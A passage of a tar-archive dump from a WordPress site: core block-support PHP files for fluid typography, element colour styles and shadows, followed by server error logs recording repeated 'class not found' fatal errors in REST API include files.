	$view_port_width_offset = round( $minimum_viewport_width['value'] / 100, 3 ) . $font_size_unit;
	$linear_factor          = 100 * ( ( $maximum_font_size['value'] - $minimum_font_size['value'] ) / ( $linear_factor_denominator ) );
	$linear_factor_scaled   = round( $linear_factor * $scale_factor, 3 );
	$linear_factor_scaled   = empty( $linear_factor_scaled ) ? 1 : $linear_factor_scaled;
	$fluid_target_font_size = implode( '', $minimum_font_size_rem ) . " + ((1vw - $view_port_width_offset) * $linear_factor_scaled)";

	return "clamp($minimum_font_size_raw, $fluid_target_font_size, $maximum_font_size_raw)";
}

/**
 * Returns a font-size value based on a given font-size preset.
 * Takes into account fluid typography parameters and attempts to return a CSS
 * formula depending on available, valid values.
 *
 * @since 6.1.0
 * @since 6.1.1 Adjusted rules for min and max font sizes.
 * @since 6.2.0 Added 'settings.typography.fluid.minFontSize' support.
 * @since 6.3.0 Using layout.wideSize as max viewport width, and logarithmic scale factor to calculate minimum font scale.
 * @since 6.4.0 Added configurable min and max viewport width values to the typography.fluid theme.json schema.
 * @since 6.6.0 Deprecated bool argument $should_use_fluid_typography.
 * @since 6.7.0 Font size presets can enable fluid typography individually, even if it’s disabled globally.
 *
 * @param array      $preset   {
 *     Required. fontSizes preset value as seen in theme.json.
 *
 *     @type string           $name Name of the font size preset.
 *     @type string           $slug Kebab-case, unique identifier for the font size preset.
 *     @type string|int|float $size CSS font-size value, including units if applicable.
 * }
 * @param bool|array $settings Optional Theme JSON settings array that overrides any global theme settings.
 *                             Default is false.
 * @return string|null Font-size value or null if a size is not passed in $preset.
 */


function wp_get_typography_font_size_value( $preset, $settings = array() ) {
	if ( ! isset( $preset['size'] ) ) {
		return null;
	}

	/*
	 * Catches falsy values and 0/'0'. Fluid calculations cannot be performed on `0`.
	 * Also returns early when a preset font size explicitly disables fluid typography with `false`.
	 */
	$fluid_font_size_settings = $preset['fluid'] ?? null;
	if ( false === $fluid_font_size_settings || empty( $preset['size'] ) ) {
		return $preset['size'];
	}

	/*
	 * As a boolean (deprecated since 6.6), $settings acts as an override to switch fluid typography "on" (`true`) or "off" (`false`).
	 */
	if ( is_bool( $settings ) ) {
		_deprecated_argument( __FUNCTION__, '6.6.0', __( '`boolean` type for second argument `$settings` is deprecated. Use `array()` instead.' ) );
		$settings = array(
			'typography' => array(
				'fluid' => $settings,
			),
		);
	}

	// Fallback to global settings as default.
	$global_settings = wp_get_global_settings();
	$settings        = wp_parse_args(
		$settings,
		$global_settings
	);

	$typography_settings = $settings['typography'] ?? array();

	/*
	 * Return early when fluid typography is disabled in the settings, and there
	 * are no local settings to enable it for the individual preset.
	 *
	 * If this condition isn't met, either the settings or individual preset settings
	 * have enabled fluid typography.
	 */
	if ( empty( $typography_settings['fluid'] ) && empty( $fluid_font_size_settings ) ) {
		return $preset['size'];
	}

	$fluid_settings  = isset( $typography_settings['fluid'] ) ? $typography_settings['fluid'] : array();
	$layout_settings = isset( $settings['layout'] ) ? $settings['layout'] : array();

	// Defaults.
	$default_maximum_viewport_width       = '1600px';
	$default_minimum_viewport_width       = '320px';
	$default_minimum_font_size_factor_max = 0.75;
	$default_minimum_font_size_factor_min = 0.25;
	$default_scale_factor                 = 1;
	$default_minimum_font_size_limit      = '14px';

	// Defaults overrides.
	$minimum_viewport_width = isset( $fluid_settings['minViewportWidth'] ) ? $fluid_settings['minViewportWidth'] : $default_minimum_viewport_width;
	$maximum_viewport_width = isset( $layout_settings['wideSize'] ) && ! empty( wp_get_typography_value_and_unit( $layout_settings['wideSize'] ) ) ? $layout_settings['wideSize'] : $default_maximum_viewport_width;
	if ( isset( $fluid_settings['maxViewportWidth'] ) ) {
		$maximum_viewport_width = $fluid_settings['maxViewportWidth'];
	}
	$has_min_font_size       = isset( $fluid_settings['minFontSize'] ) && ! empty( wp_get_typography_value_and_unit( $fluid_settings['minFontSize'] ) );
	$minimum_font_size_limit = $has_min_font_size ? $fluid_settings['minFontSize'] : $default_minimum_font_size_limit;

	// Try to grab explicit min and max fluid font sizes.
	$minimum_font_size_raw = isset( $fluid_font_size_settings['min'] ) ? $fluid_font_size_settings['min'] : null;
	$maximum_font_size_raw = isset( $fluid_font_size_settings['max'] ) ? $fluid_font_size_settings['max'] : null;

	// Font sizes.
	$preferred_size = wp_get_typography_value_and_unit( $preset['size'] );

	// Protects against unsupported units.
	if ( empty( $preferred_size['unit'] ) ) {
		return $preset['size'];
	}

	/*
	 * Normalizes the minimum font size limit according to the incoming unit,
	 * in order to perform comparative checks.
	 */
	$minimum_font_size_limit = wp_get_typography_value_and_unit(
		$minimum_font_size_limit,
		array(
			'coerce_to' => $preferred_size['unit'],
		)
	);

	// Don't enforce minimum font size if a font size has explicitly set a min and max value.
	if ( ! empty( $minimum_font_size_limit ) && ( ! $minimum_font_size_raw && ! $maximum_font_size_raw ) ) {
		/*
		 * If a minimum size was not passed to this function
		 * and the user-defined font size is lower than $minimum_font_size_limit,
		 * do not calculate a fluid value.
		 */
		if ( $preferred_size['value'] <= $minimum_font_size_limit['value'] ) {
			return $preset['size'];
		}
	}

	// If no fluid max font size is available use the incoming value.
	if ( ! $maximum_font_size_raw ) {
		$maximum_font_size_raw = $preferred_size['value'] . $preferred_size['unit'];
	}

	/*
	 * If no minimumFontSize is provided, create one using
	 * the given font size multiplied by the min font size scale factor.
	 */
	if ( ! $minimum_font_size_raw ) {
		$preferred_font_size_in_px = 'px' === $preferred_size['unit'] ? $preferred_size['value'] : $preferred_size['value'] * 16;

		/*
		 * The scale factor is a multiplier that affects how quickly the curve will move towards the minimum,
		 * that is, how quickly the size factor reaches 0 given increasing font size values.
		 * For a - b * log2(), lower values of b will make the curve move towards the minimum faster.
		 * The scale factor is constrained between min and max values.
		 */
		$minimum_font_size_factor     = min( max( 1 - 0.075 * log( $preferred_font_size_in_px, 2 ), $default_minimum_font_size_factor_min ), $default_minimum_font_size_factor_max );
		$calculated_minimum_font_size = round( $preferred_size['value'] * $minimum_font_size_factor, 3 );

		// Only use calculated min font size if it's > $minimum_font_size_limit value.
		if ( ! empty( $minimum_font_size_limit ) && $calculated_minimum_font_size <= $minimum_font_size_limit['value'] ) {
			$minimum_font_size_raw = $minimum_font_size_limit['value'] . $minimum_font_size_limit['unit'];
		} else {
			$minimum_font_size_raw = $calculated_minimum_font_size . $preferred_size['unit'];
		}
	}

	$fluid_font_size_value = wp_get_computed_fluid_typography_value(
		array(
			'minimum_viewport_width' => $minimum_viewport_width,
			'maximum_viewport_width' => $maximum_viewport_width,
			'minimum_font_size'      => $minimum_font_size_raw,
			'maximum_font_size'      => $maximum_font_size_raw,
			'scale_factor'           => $default_scale_factor,
		)
	);

	if ( ! empty( $fluid_font_size_value ) ) {
		return $fluid_font_size_value;
	}

	return $preset['size'];
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'typography',
	array(
		'register_attribute' => 'wp_register_typography_support',
		'apply'              => 'wp_apply_typography_support',
	)
);
elements.php000064400000020730151024204770007075 0ustar00<?php
/**
 * Elements styles block support.
 *
 * @package WordPress
 * @since 5.8.0
 */

/**
 * Gets the elements class names.
 *
 * @since 6.0.0
 * @access private
 *
 * @param array $block Block object.
 * @return string The unique class name.
 */
function wp_get_elements_class_name( $block ) {
	return 'wp-elements-' . md5( serialize( $block ) );
}

/**
 * Determines whether an elements class name should be added to the block.
 *
 * @since 6.6.0
 * @access private
 *
 * @param  array $block   Block object.
 * @param  array $options Per element type options e.g. whether to skip serialization.
 * @return boolean Whether the block needs an elements class name.
 */
function wp_should_add_elements_class_name( $block, $options ) {
	if ( ! isset( $block['attrs']['style']['elements'] ) ) {
		return false;
	}

	$element_color_properties = array(
		'button'  => array(
			'skip'  => isset( $options['button']['skip'] ) ? $options['button']['skip'] : false,
			'paths' => array(
				array( 'button', 'color', 'text' ),
				array( 'button', 'color', 'background' ),
				array( 'button', 'color', 'gradient' ),
			),
		),
		'link'    => array(
			'skip'  => isset( $options['link']['skip'] ) ? $options['link']['skip'] : false,
			'paths' => array(
				array( 'link', 'color', 'text' ),
				array( 'link', ':hover', 'color', 'text' ),
			),
		),
		'heading' => array(
			'skip'  => isset( $options['heading']['skip'] ) ? $options['heading']['skip'] : false,
			'paths' => array(
				array( 'heading', 'color', 'text' ),
				array( 'heading', 'color', 'background' ),
				array( 'heading', 'color', 'gradient' ),
				array( 'h1', 'color', 'text' ),
				array( 'h1', 'color', 'background' ),
				array( 'h1', 'color', 'gradient' ),
				array( 'h2', 'color', 'text' ),
				array( 'h2', 'color', 'background' ),
				array( 'h2', 'color', 'gradient' ),
				array( 'h3', 'color', 'text' ),
				array( 'h3', 'color', 'background' ),
				array( 'h3', 'color', 'gradient' ),
				array( 'h4', 'color', 'text' ),
				array( 'h4', 'color', 'background' ),
				array( 'h4', 'color', 'gradient' ),
				array( 'h5', 'color', 'text' ),
				array( 'h5', 'color', 'background' ),
				array( 'h5', 'color', 'gradient' ),
				array( 'h6', 'color', 'text' ),
				array( 'h6', 'color', 'background' ),
				array( 'h6', 'color', 'gradient' ),
			),
		),
	);

	$elements_style_attributes = $block['attrs']['style']['elements'];

	foreach ( $element_color_properties as $element_config ) {
		if ( $element_config['skip'] ) {
			continue;
		}

		foreach ( $element_config['paths'] as $path ) {
			if ( null !== _wp_array_get( $elements_style_attributes, $path, null ) ) {
				return true;
			}
		}
	}

	return false;
}

/**
 * Render the elements stylesheet and adds elements class name to block as required.
 *
 * In the case of nested blocks we want the parent element styles to be rendered before their descendants.
 * This solves the issue of an element (e.g.: link color) being styled in both the parent and a descendant:
 * we want the descendant style to take priority, and this is done by loading it after, in DOM order.
 *
 * @since 6.0.0
 * @since 6.1.0 Implemented the style engine to generate CSS and classnames.
 * @since 6.6.0 Element block support class and styles are generated via the `render_block_data` filter instead of `pre_render_block`.
 * @access private
 *
 * @param array $parsed_block The parsed block.
 * @return array The same parsed block with elements classname added if appropriate.
 */
function wp_render_elements_support_styles( $parsed_block ) {
	/*
	 * The generation of element styles and classname were moved to the
	 * `render_block_data` filter in 6.6.0 to avoid filtered attributes
	 * breaking the application of the elements CSS class.
	 *
	 * @see https://github.com/WordPress/gutenberg/pull/59535
	 *
	 * The change in filter means, the argument types for this function
	 * have changed and require deprecating.
	 */
	if ( is_string( $parsed_block ) ) {
		_deprecated_argument(
			__FUNCTION__,
			'6.6.0',
			__( 'Use as a `pre_render_block` filter is deprecated. Use with `render_block_data` instead.' )
		);
	}

	$block_type           = WP_Block_Type_Registry::get_instance()->get_registered( $parsed_block['blockName'] );
	$element_block_styles = isset( $parsed_block['attrs']['style']['elements'] ) ? $parsed_block['attrs']['style']['elements'] : null;

	if ( ! $element_block_styles ) {
		return $parsed_block;
	}

	$skip_link_color_serialization         = wp_should_skip_block_supports_serialization( $block_type, 'color', 'link' );
	$skip_heading_color_serialization      = wp_should_skip_block_supports_serialization( $block_type, 'color', 'heading' );
	$skip_button_color_serialization       = wp_should_skip_block_supports_serialization( $block_type, 'color', 'button' );
	$skips_all_element_color_serialization = $skip_link_color_serialization &&
		$skip_heading_color_serialization &&
		$skip_button_color_serialization;

	if ( $skips_all_element_color_serialization ) {
		return $parsed_block;
	}

	$options = array(
		'button'  => array( 'skip' => $skip_button_color_serialization ),
		'link'    => array( 'skip' => $skip_link_color_serialization ),
		'heading' => array( 'skip' => $skip_heading_color_serialization ),
	);

	if ( ! wp_should_add_elements_class_name( $parsed_block, $options ) ) {
		return $parsed_block;
	}

	$class_name         = wp_get_elements_class_name( $parsed_block );
	$updated_class_name = isset( $parsed_block['attrs']['className'] ) ? $parsed_block['attrs']['className'] . " $class_name" : $class_name;

	_wp_array_set( $parsed_block, array( 'attrs', 'className' ), $updated_class_name );

	// Generate element styles based on selector and store in style engine for enqueuing.
	$element_types = array(
		'button'  => array(
			'selector' => ".$class_name .wp-element-button, .$class_name .wp-block-button__link",
			'skip'     => $skip_button_color_serialization,
		),
		'link'    => array(
			'selector'       => ".$class_name a:where(:not(.wp-element-button))",
			'hover_selector' => ".$class_name a:where(:not(.wp-element-button)):hover",
			'skip'           => $skip_link_color_serialization,
		),
		'heading' => array(
			'selector' => ".$class_name h1, .$class_name h2, .$class_name h3, .$class_name h4, .$class_name h5, .$class_name h6",
			'skip'     => $skip_heading_color_serialization,
			'elements' => array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ),
		),
	);

	foreach ( $element_types as $element_type => $element_config ) {
		if ( $element_config['skip'] ) {
			continue;
		}

		$element_style_object = isset( $element_block_styles[ $element_type ] ) ? $element_block_styles[ $element_type ] : null;

		// Process primary element type styles.
		if ( $element_style_object ) {
			wp_style_engine_get_styles(
				$element_style_object,
				array(
					'selector' => $element_config['selector'],
					'context'  => 'block-supports',
				)
			);

			if ( isset( $element_style_object[':hover'] ) ) {
				wp_style_engine_get_styles(
					$element_style_object[':hover'],
					array(
						'selector' => $element_config['hover_selector'],
						'context'  => 'block-supports',
					)
				);
			}
		}

		// Process related elements e.g. h1-h6 for headings.
		if ( isset( $element_config['elements'] ) ) {
			foreach ( $element_config['elements'] as $element ) {
				$element_style_object = isset( $element_block_styles[ $element ] )
					? $element_block_styles[ $element ]
					: null;

				if ( $element_style_object ) {
					wp_style_engine_get_styles(
						$element_style_object,
						array(
							'selector' => ".$class_name $element",
							'context'  => 'block-supports',
						)
					);
				}
			}
		}
	}

	return $parsed_block;
}

/**
 * Ensure the elements block support class name generated, and added to
 * block attributes, in the `render_block_data` filter gets applied to the
 * block's markup.
 *
 * @see wp_render_elements_support_styles
 * @since 6.6.0
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 * @return string                Filtered block content.
 */
function wp_render_elements_class_name( $block_content, $block ) {
	$class_string = $block['attrs']['className'] ?? '';
	preg_match( '/\bwp-elements-\S+\b/', $class_string, $matches );

	if ( empty( $matches ) ) {
		return $block_content;
	}

	$tags = new WP_HTML_Tag_Processor( $block_content );

	if ( $tags->next_tag() ) {
		$tags->add_class( $matches[0] );
	}

	return $tags->get_updated_html();
}

add_filter( 'render_block', 'wp_render_elements_class_name', 10, 2 );
add_filter( 'render_block_data', 'wp_render_elements_support_styles', 10, 1 );
shadow.php000064400000004055151024204770006550 0ustar00<?php
/**
 * Shadow block support flag.
 *
 * @package WordPress
 * @since 6.3.0
 */

/**
 * Registers the style and shadow block attributes for block types that support it.
 *
 * @since 6.3.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_shadow_support( $block_type ) {
	$has_shadow_support = block_has_support( $block_type, 'shadow', false );

	if ( ! $has_shadow_support ) {
		return;
	}

	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}

	if ( array_key_exists( 'shadow', $block_type->attributes ) ) {
		$block_type->attributes['shadow'] = array(
			'type' => 'string',
		);
	}
}

/**
 * Add CSS classes and inline styles for shadow features to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 6.3.0
 * @since 6.6.0 Return early if __experimentalSkipSerialization is true.
 * @access private
 *
 * @param  WP_Block_Type $block_type       Block type.
 * @param  array         $block_attributes Block attributes.
 * @return array Shadow CSS classes and inline styles.
 */
function wp_apply_shadow_support( $block_type, $block_attributes ) {
	$has_shadow_support = block_has_support( $block_type, 'shadow', false );

	if (
		! $has_shadow_support ||
		wp_should_skip_block_supports_serialization( $block_type, 'shadow' )
	) {
		return array();
	}

	$shadow_block_styles = array();

	$custom_shadow                 = $block_attributes['style']['shadow'] ?? null;
	$shadow_block_styles['shadow'] = $custom_shadow;

	$attributes = array();
	$styles     = wp_style_engine_get_styles( $shadow_block_styles );

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'shadow',
	array(
		'register_attribute' => 'wp_register_shadow_support',
		'apply'              => 'wp_apply_shadow_support',
	)
);
14338/rest-api.tar000064400004442000151024420100007453 0ustar00error_log000064400000010150151024200430006445 0ustar00[27-Oct-2025 20:18:18 UTC] PHP Fatal error:  Uncaught Error: Class "WP_HTTP_Response" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/class-wp-rest-response.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/class-wp-rest-response.php on line 17
[28-Oct-2025 01:35:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_HTTP_Response" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/class-wp-rest-response.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/class-wp-rest-response.php on line 17
[29-Oct-2025 22:31:09 UTC] PHP Fatal error:  Uncaught Error: Class "WP_HTTP_Response" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/class-wp-rest-response.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/class-wp-rest-response.php on line 17
[31-Oct-2025 22:24:48 UTC] PHP Fatal error:  Uncaught Error: Class "WP_HTTP_Response" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/class-wp-rest-response.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/class-wp-rest-response.php on line 17
[01-Nov-2025 08:34:40 UTC] PHP Fatal error:  Uncaught Error: Class "WP_HTTP_Response" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/class-wp-rest-response.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/class-wp-rest-response.php on line 17
[01-Nov-2025 15:47:55 UTC] PHP Fatal error:  Uncaught Error: Class "WP_HTTP_Response" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/class-wp-rest-response.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/class-wp-rest-response.php on line 17
[01-Nov-2025 15:48:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_HTTP_Response" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/class-wp-rest-response.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/class-wp-rest-response.php on line 17
[01-Nov-2025 15:57:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_HTTP_Response" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/class-wp-rest-response.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/class-wp-rest-response.php on line 17
[01-Nov-2025 20:19:26 UTC] PHP Fatal error:  Uncaught Error: Class "WP_HTTP_Response" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/class-wp-rest-response.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/class-wp-rest-response.php on line 17
[02-Nov-2025 00:40:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_HTTP_Response" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/class-wp-rest-response.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/class-wp-rest-response.php on line 17
[02-Nov-2025 06:03:58 UTC] PHP Fatal error:  Uncaught Error: Class "WP_HTTP_Response" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/class-wp-rest-response.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/class-wp-rest-response.php on line 17
[02-Nov-2025 06:11:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_HTTP_Response" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/class-wp-rest-response.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/class-wp-rest-response.php on line 17
search/error_log000064400000025572151024200430007730 0ustar00[29-Oct-2025 00:44:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[29-Oct-2025 00:48:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[29-Oct-2025 00:51:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[29-Oct-2025 05:20:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[29-Oct-2025 05:24:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[29-Oct-2025 05:34:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[29-Oct-2025 05:35:02 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[29-Oct-2025 05:44:02 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[30-Oct-2025 01:14:49 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[30-Oct-2025 03:34:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[30-Oct-2025 03:40:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[02-Nov-2025 15:02:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[02-Nov-2025 15:03:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[02-Nov-2025 15:05:45 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[02-Nov-2025 19:46:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[02-Nov-2025 19:49:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[02-Nov-2025 19:50:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[02-Nov-2025 20:04:53 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[02-Nov-2025 20:10:05 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[02-Nov-2025 20:11:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[03-Nov-2025 12:30:21 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[03-Nov-2025 12:33:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[03-Nov-2025 12:37:11 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
